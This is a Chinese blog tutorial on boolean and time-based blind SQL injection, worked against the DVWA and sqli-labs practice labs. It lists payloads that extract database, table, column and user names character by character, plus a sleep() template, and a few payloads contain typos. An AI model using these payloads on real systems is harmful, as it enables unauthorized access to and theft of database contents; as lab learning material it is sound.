SQL注入2——盲注(重学)

SQL注入——盲注



一、布尔型盲注

假如网站一定存在SQL注入,当注入SQL语句(1’ and 1=2#)之后,网站页面缺没有返回SQL语句执行结果,那这种SQL注入就属于盲注
而当我们只能通过页面返回的结果的“是”与“否”来得到我们想要的信息就被叫做布尔型盲注

1、判断

这里以DVWA为例:
后两条sql语句执行结果不一样可以判定为盲注,满足大部分场景。因为不能排除数据库中本来就有这两条数据,导致搜索结果不一致。此时需要引入第一条判断条件。

第一条和第二条的结果一样的时候,并且第二条和第三条结果不一样的时候才能判定为盲注。

1

在这里插入图片描述

1’ and 1=1#

在这里插入图片描述

1’ and 1=2#

在这里插入图片描述

2、盲注库名

显注构造语句后可以直接在页面上获得数据库名

1’ and 1=2 union select 1,schema_name from information_schema.schemata #

1、布尔型盲注首先需要我们知道有多少个数据库

1’ and (select count(schema_name) from information_schema.schemata)=6#

MYSQL数据库默认的information_schema库的schemata表的schema_name字段存储这数据库中的所有数据库的名字,通过这个此我们可以知道有多少个数据库。

2、我们需要知道第一个数据库名的长度

1’ and length((select schema_name from information_schema.schemata limit 0,1))=18#

limit(offset,rows)
offset:指定第一个返回记录行的偏移量(即从哪一行开始返回),注意:初始行的偏移量为0。
rows:返回具体行数。
总结:如果limit后面是一个参数,就是检索前多少行。如果limit后面是2个参数,就是从offset+1行开始,检索rows行记录。

3、注入第一个库名

1’ and substring((select schema_name from information_schema.schemata limit 0,1),1,1)=‘i’ #
1’ and substring((select schema_name from information_schema.schemata limit 0,1),2,1)=‘n’ #

得到第一个库名为默认的information_schema

3、盲注表名

逻辑同上
1、查询库内有多少个表

1‘ and count(select count(table_name) from information_schema.tables where table_schema=‘dvwa’)=2#

2、查询库内第一个表名的长度

1’ and length((select table_name from information_schema.tables where table_schema=‘dvwa’ limit 0,1))=9 #

3、盲注表名

1’ and substring(select table_name from information_schema where tabe_schema =database() limit 0,1),1,1)=‘g’#

1’ and (substring((select table_name from information_schema.tables where table_schema=database() limit 0,1),2,1))=‘u’ #

1’ and (substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),3,1))=‘e’ #
依照此逻辑可以依次推出余下字符还有剩下的表

4、盲注列名

1、查询表内有多少个字段

1’ and (select count(column_name) from information_schema.columns where table_schema=database() and tabe_name=‘users’)=8#

2、判断每一个字段的长度

1’ and length((select column_name from information_schema.columns where table_schema= ‘dvwa’ and table_name= ‘users’ limit 0,1))=7#

1’ and length((select column_name from information_schema.columns where table_schema= ‘dvwa’ and table_name= ‘users’ limit 3,1))=4#

1’ and length((select column_name from information_schema.columns where table_schema= ‘dvwa’ and table_name= ‘users’ limit 4,1))=8#

3、盲注字段名

1’ and (substr((select column_name from information_schema.columns where table_schema= ‘dvwa’ and table_name= ‘users’ limit 3,1),1,1))=‘u’#

1’ and (substr((select column_name from information_schema.columns where table_schema= ‘dvwa’ and table_name= ‘users’ limit 3,1),2,1))=‘s’#

1’ and (substr((select column_name from information_schema.columns where table_schema= ‘dvwa’ and table_name= ‘users’ limit 3,1),3,1))=‘e’#

1’ and (substr((select column_name from information_schema.columns where table_schema= ‘dvwa’ and table_name= ‘users’ limit 3,1),4,1))=‘r’#

5、盲注数据

1’ and (select count(*) from dvwa.users)=5# (判断列中有几条记录)

1’ and length(substr((select user from users limit 0,1),1))=5# (判断user这一列的第一条记录的长度是否为5)

1’ and substr((select user from users limit 0,1),1,1)=‘a’ # (判断user这一列的第一条记录的第一个字段是否为a)

1’ and substr((select user from users limit 0,1),2,1)=‘d’# (判断user这一列的第一条记录的第二个字段是否为d)

1’ and substr((select user from users limit 1,1),1,1)>‘g’# (判断user这一列的第二条记录的第一个字段ascii码值是否为大于g)

时间型盲注

我们以sqli-labs第九关为例
我们发现id=1和id=1’并没有明显区别,没有报错,也没有发现是与否的关系。
image-20220219012736335
image-20220219013005252
这种情况下就可以考虑盲注的另外一种形式,时间注入

时间盲注和布尔型盲注的区别在于,布尔型盲注通过页面的报错信息判断“是”与“否”,而时间型盲注利用==sleep()==函数让数据库的执行时间变长来判断“是”与“否”。
时间盲注多与if函数结合使用。如:if(a,b,c),此if语句的含义是,如果a为真则返回值为b,否则返回值为c。
如:

if(length(database())>1,sleep(5),1)

它的含义为,如果当前数据库名字符长度大于1,则执行sleep函数使数据库执行延迟,否则则返回1。
所以时间注入的本质也是布尔注入,只不过是用数据库是否延迟执行的方式来表达是与否的逻辑。

具体注入逻辑与布尔型盲注无区别只要把布尔型的payload带入if语句即可
即:

1’ and if($盲注语句,sleep(5),1)#

总结

时间型盲注的payload可以带入布尔型盲注和显注,布尔型盲注也可以带入显注,所以以后可以图方便只发现时间型盲注就可以了。


不想学辣,好累啊

  • 3
    点赞
  • 12
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
回答: SQL注入盲注可以分为三类:布尔盲注、延时盲注和报错盲注。其中,布尔盲注是一种通过构造逻辑表达式的SQL语句来判断数据的具体内容的盲注方式。在布尔盲注中,页面在执行SQL语句后,只显示两种结果,通过构造逻辑表达式的SQL语句来判断数据的具体内容。\[1\]布尔盲注是一种基于布尔的SQL盲注,通过构造逻辑表达式的SQL语句来判断数据的具体内容。\[2\]当我们只能通过页面返回的结果的“是”与“否”来得到我们想要的信息时,就被称为布尔型盲注。\[3\]所以,如果你在进行SQL注入时,只能通过页面返回的结果的“是”与“否”来得到你想要的信息,那么你遇到的就是布尔型盲注。 #### 引用[.reference_title] - *1* [SQL注入盲注简单总结](https://blog.csdn.net/qq_42477007/article/details/96492174)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v91^control_2,239^v3^insert_chatgpt"}} ] [.reference_item] - *2* [SQL注入盲注](https://blog.csdn.net/xiao_he0123/article/details/123610491)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v91^control_2,239^v3^insert_chatgpt"}} ] [.reference_item] - *3* [SQL注入2——盲注重学)](https://blog.csdn.net/qq_52263650/article/details/127737877)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v91^control_2,239^v3^insert_chatgpt"}} ] [.reference_item] [ .reference_list ]

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值